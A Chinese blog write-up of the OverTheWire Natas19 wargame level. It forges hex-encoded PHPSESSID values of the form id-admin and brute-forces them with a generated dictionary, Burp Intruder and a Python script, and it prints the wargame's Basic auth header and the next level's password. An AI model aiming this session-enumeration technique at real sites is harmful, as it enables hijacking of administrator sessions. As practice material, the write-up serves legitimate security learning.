Natas19 Writeup(Session登录,常见编码,暴力破解)

Natas19:

提示,与上一题源码类似,只是PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照id-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。

方法1:burp破解

1.抓包得到PHPSESSID=3436322d61646d696e

 2.将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。

3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。0-9十个十位数对应的十六进制为30-39,我们用python构造字典。

字典脚本(生成数字001-699的16进制):

a = []
for i in range(30,37):
    for j in range(30,40):
        for k in range(30,40):
            a.append( '%d%d%d'%(i,j,k))
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"\n")

由于前100个id是0-99而不是000-099,我们使用notpad++手动将前100个id生成的16进制数前面的30去掉,得到最终的字典。

30
31
32
33
34
35
36
37
38
39
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
313030
313031
313032
313033
313034
313035
313036
313037
313038
313039
313130
313131
313132
313133
313134
313135
313136
313137
313138
313139
313230
313231
313232
313233
313234
313235
313236
313237
313238
313239
313330
313331
313332
313333
313334
313335
313336
313337
313338
313339
313430
313431
313432
313433
313434
313435
313436
313437
313438
313439
313530
313531
313532
313533
313534
313535
313536
313537
313538
313539
313630
313631
313632
313633
313634
313635
313636
313637
313638
313639
313730
313731
313732
313733
313734
313735
313736
313737
313738
313739
313830
313831
313832
313833
313834
313835
313836
313837
313838
313839
313930
313931
313932
313933
313934
313935
313936
313937
313938
313939
323030
323031
323032
323033
323034
323035
323036
323037
323038
323039
323130
323131
323132
323133
323134
323135
323136
323137
323138
323139
323230
323231
323232
323233
323234
323235
323236
323237
323238
323239
323330
323331
323332
323333
323334
323335
323336
323337
323338
323339
323430
323431
323432
323433
323434
323435
323436
323437
323438
323439
323530
323531
323532
323533
323534
323535
323536
323537
323538
323539
323630
323631
323632
323633
323634
323635
323636
323637
323638
323639
323730
323731
323732
323733
323734
323735
323736
323737
323738
323739
323830
323831
323832
323833
323834
323835
323836
323837
323838
323839
323930
323931
323932
323933
323934
323935
323936
323937
323938
323939
333030
333031
333032
333033
333034
333035
333036
333037
333038
333039
333130
333131
333132
333133
333134
333135
333136
333137
333138
333139
333230
333231
333232
333233
333234
333235
333236
333237
333238
333239
333330
333331
333332
333333
333334
333335
333336
333337
333338
333339
333430
333431
333432
333433
333434
333435
333436
333437
333438
333439
333530
333531
333532
333533
333534
333535
333536
333537
333538
333539
333630
333631
333632
333633
333634
333635
333636
333637
333638
333639
333730
333731
333732
333733
333734
333735
333736
333737
333738
333739
333830
333831
333832
333833
333834
333835
333836
333837
333838
333839
333930
333931
333932
333933
333934
333935
333936
333937
333938
333939
343030
343031
343032
343033
343034
343035
343036
343037
343038
343039
343130
343131
343132
343133
343134
343135
343136
343137
343138
343139
343230
343231
343232
343233
343234
343235
343236
343237
343238
343239
343330
343331
343332
343333
343334
343335
343336
343337
343338
343339
343430
343431
343432
343433
343434
343435
343436
343437
343438
343439
343530
343531
343532
343533
343534
343535
343536
343537
343538
343539
343630
343631
343632
343633
343634
343635
343636
343637
343638
343639
343730
343731
343732
343733
343734
343735
343736
343737
343738
343739
343830
343831
343832
343833
343834
343835
343836
343837
343838
343839
343930
343931
343932
343933
343934
343935
343936
343937
343938
343939
353030
353031
353032
353033
353034
353035
353036
353037
353038
353039
353130
353131
353132
353133
353134
353135
353136
353137
353138
353139
353230
353231
353232
353233
353234
353235
353236
353237
353238
353239
353330
353331
353332
353333
353334
353335
353336
353337
353338
353339
353430
353431
353432
353433
353434
353435
353436
353437
353438
353439
353530
353531
353532
353533
353534
353535
353536
353537
353538
353539
353630
353631
353632
353633
353634
353635
353636
353637
353638
353639
353730
353731
353732
353733
353734
353735
353736
353737
353738
353739
353830
353831
353832
353833
353834
353835
353836
353837
353838
353839
353930
353931
353932
353933
353934
353935
353936
353937
353938
353939
363030
363031
363032
363033
363034
363035
363036
363037
363038
363039
363130
363131
363132
363133
363134
363135
363136
363137
363138
363139
363230
363231
363232
363233
363234
363235
363236
363237
363238
363239
363330
363331
363332
363333
363334
363335
363336
363337
363338
363339
363430
363431
363432
363433
363434
363435
363436
363437
363438
363439
363530
363531
363532
363533
363534
363535
363536
363537
363538
363539
363630
363631
363632
363633
363634
363635
363636
363637
363638
363639
363730
363731
363732
363733
363734
363735
363736
363737
363738
363739
363830
363831
363832
363833
363834
363835
363836
363837
363838
363839
363930
363931
363932
363933
363934
363935
363936
363937
363938
363939
1.txt

字典进阶:

上面生成字典的方法太麻烦了,下面脚本可以帮助我们直接生成PHPSESSID值的字典。

Python2.x脚本

# coding=utf-8
import binascii
a = []
for i in range(641):
    k=binascii.hexlify(str(i))+"2d61646d696e"
    a.append(k)
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"\n")

# python中,函数 hexlify 作用是返回的二进制数据的十六进制表示。
# 每个字节的数据转换成相应的 2 位十六进制表示。因此产生的字符串是原数据的两倍长度。
# unhexlify 则执行反向操作。

Python3.x脚本:

# coding=utf-8
import binascii
a = []
for i in range(641):
    k=binascii.hexlify(bytes(str(i).encode()))+b"2d61646d696e"
    a.append(k.decode())
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"\n")

关于Python2和Python3的字符编码与界解码问题,看这里

4.下面使用burp开始爆破:

如上图,这个正确结果的length比较特别,既不是所有结果中最长的,也不是最短的,而是一个中间数。我是第一次遇到这种情况,害我找了半天。

另外,如果不想使用python生成脚本,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。

得到flag:

You are an admin. The credentials for the next level are:
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

方法2:python破解

# coding=utf-8
import requests
import binascii

url = "http://natas19.natas.labs.overthewire.org/"
payload = {"username":"admin","password":"123"}

for i in range(640):
    headers = {"Cookie":"PHPSESSID="+binascii.hexlify(str(i))+"2d61646d696e","Authorization":"Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
    req = requests.post(url,params=payload,headers=headers)
    if "You are logged in as a regular user"  in req.text:
        # print(i) #打印i,查看进度
        continue
    else:
        print(i)
        print(req.text)
        exit()

flag:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

缺点:速度太慢了,可以考虑使用多线程

 

参考:

https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6859052.html

posted @ 2020-03-06 22:47  zhengna  阅读(1600)  评论(0编辑  收藏  举报